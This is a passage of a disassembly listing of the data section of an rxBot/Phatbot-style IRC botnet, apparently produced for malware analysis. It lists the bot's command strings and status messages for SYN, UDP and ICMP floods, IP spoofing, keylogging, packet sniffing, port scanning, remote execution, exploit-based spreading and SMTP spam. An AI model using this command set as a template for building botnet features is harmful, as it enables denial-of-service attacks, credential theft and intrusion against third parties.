aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
align 10h
unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o
unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co
unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o
align 4
aP: ; DATA XREF: sub_401ACD+5059o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo
aU: ; DATA XREF: sub_401ACD+4FE6o
; ___:00437F88o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o
align 4
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo
align 4
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o
align 4
dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o
; sub_401ACD+52BDo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co
align 4
unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o
; sub_412B08:loc_412C34o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo
; sub_412B08:loc_412C18o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o
; sub_412B08+F1o
align 4
aC: ; DATA XREF: sub_401ACD+4BCCo
; ___:00437C40o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o
align 4
aE: ; DATA XREF: sub_401ACD+4B02o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o
align 4
aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo
align 4
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o
; sub_401ACD+6BE7o
align 10h
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o
align 10h
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo
align 4
aM: ; DATA XREF: sub_401ACD+4908o
; ___:00437C50o
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o
align 4
aA: ; DATA XREF: sub_401ACD+48ACo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o
align 10h
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo
; sub_409B12+5F0o
align 4
unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o
align 4
unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o
align 4
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o
align 4
unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o
align 10h
unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o
dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o
aAlreadyRunning db '- Already running.',0
align 4
dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o
align 4
dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 10h
dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o
aAlreadyRunni_0 db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o
align 4
unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 10h
unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo
dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o
aAlreadyRunni_2 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o
; sub_401ACD+41C6o ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo
aV: ; DATA XREF: sub_401ACD+3FCAo
; ___:00437C44o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o
; sub_401ACD+4644o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o
align 10h
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo
align 4
aO: ; DATA XREF: sub_401ACD+3E7Ao
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o
; sub_401ACD+590Bo ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o
align 10h
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo
align 4
aJ: ; DATA XREF: sub_401ACD+3D54o
; ___:00437C2Co
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Ao
; ___:00437C4Co
unicode 0, <n>,0
unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AEFo
; sub_401ACD+3B26o
dd 0
dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB8o
dd 1
dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A81o
; sub_401ACD+3B98o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o
; sub_401ACD+39D3o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o
; sub_401ACD+3D15o
align 4
dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E8o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo
dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o
; sub_401ACD+3762o ...
dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o
; sub_40ACB5+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o
; sub_401ACD+3578o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o
; sub_401ACD+3D69o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o
; sub_401ACD+354Co ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o
; sub_401ACD+3D3Fo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o
; sub_401ACD+48F1o
align 10h
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao
align 10h
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo
align 4
dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EEo
dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo
dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
; sub_401ACD+38A8o ...
dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o
; sub_401ACD+32BFo ...
dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o
; sub_401ACD+487Eo
unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo
align 4
unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o
unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo
align 10h
unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o
; sub_401ACD+3F61o
unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do
unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD1o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o
align 4
unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o
dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o
dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A95o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
; sub_401ACD:loc_409778o ...
align 4
dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A73o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
; sub_401ACD+7A7Eo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D8o
